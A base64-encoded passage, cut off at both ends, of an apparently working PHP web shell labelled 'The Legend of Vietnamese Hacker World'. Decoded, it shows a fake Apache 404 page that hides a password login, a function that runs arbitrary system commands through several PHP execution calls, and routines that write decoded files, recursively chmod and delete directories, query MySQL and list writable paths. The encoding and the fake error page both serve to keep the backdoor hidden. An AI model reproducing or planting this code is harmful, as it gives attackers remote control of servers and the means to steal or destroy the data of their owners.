GlfbmFtZSgpKSksCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLAoKCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwKCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlIHsKCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsKfQoKPz4KPC90ZD48L3RyPjwvdGFibGU+CjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMEUwRTBFO2JvcmRlci10b3A6MXB4IHNvbGlkICMwRTBFMEU7YmFja2dyb3VuZDojMEUwRTBFOyI+Cgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4KCTxCPlRoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQ8L0I+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuCjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpTaG93IGluZm8gc2hlbGwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7Cgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOwp9CmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgewoJJG11bHRpcGFnZSA9ICcnOwoJaWYoJG51bSA+ICRwZXJwYWdlKSB7CgkJJHBhZ2UgPSAxMDsKCQkkb2Zmc2V0ID0gNTsKCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOwoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7CgkJCSRmcm9tID0gMTsKCQkJJHRvID0gJHBhZ2VzOwoJCX0gZWxzZSB7CgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OwoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7CgkJCWlmKCRmcm9tIDwgMSkgewoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207CgkJCQkkZnJvbSA9IDE7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSR0byA9ICRwYWdlOwoJCQkJfQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsKCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87CgkJCQkkdG8gPSAkcGFnZXM7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOwoJCQkJfQoJCQl9CgkJfQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsKCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7CgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsKCQl9CgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOwoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7Cgl9CglyZXR1cm4gJG11bHRpcGFnZTsKfQovLyBMb2dpbiBwYWdlCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsKPz4KCjxodG1sPiA8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+IDxoMT5Ob3QgRm91bmQ8L2gxPiAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgLyB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gPHA+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmQgZXJyb3Igd2FzIGVuY291bnRlcmVkIHdoaWxlIHRyeWluZyB0byB1c2UgYW4gRXJyb3JEb2N1bWVudCB0byBoYW5kbGUgdGhlIHJlcXVlc3QuPC9wPiA8aHI+ICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICBQb3J0IDgwPC9hZGRyZXNzPiAgICAgIDxzdHlsZT4gICAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9ICAgICAgPC9zdHlsZT4gIDxjZW50ZXI+IDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPiAgICAgPHNwYW4gc3R5bGU9ImZvbnQ6MTBwdCB0YWhvbWE7Ij48L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+ICAgICA8L2Zvcm0+IDwvY2VudGVyPiAJPC9odG1sPiAKPD9waHAKCWV4aXQ7Cgp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOwoJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gRGVidWcKZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyBBcnJheSBzdHJpcApmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyBIVE1MIFN0cmlwCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIENobW9kCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gRGVsZXRlIGRpcgpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vIEJhY2tncm91bmQKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyBHZXQgcGF0aApmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsKCX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gR2V0IHVwIHBhdGgKZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgkcGF0aGRiKTsKCWlmICgkbnVtID4gMikgewoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOwoJfQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7CgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsKCXJldHVybiAkdXBwYXRoOwp9CgovLyBDb25maWcKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vIEZ1bmN0aW9uIG5hbWUKZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7CglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsKfQoKZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsKCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7CgkJCQkJJGorKzsKCQkJCX0KCQkJCUdldExpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgewoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7Cgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgewoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJfSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQoKLy8gWmlwCmNsYXNzIFBIUFppcHsKCXZhciAkb3V0PScnOwoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsKCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7CgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsKCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOwoJCQllbHNlewoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vRmlsZSBsaXN0CgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7CgkJCX0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7CgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7CgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPj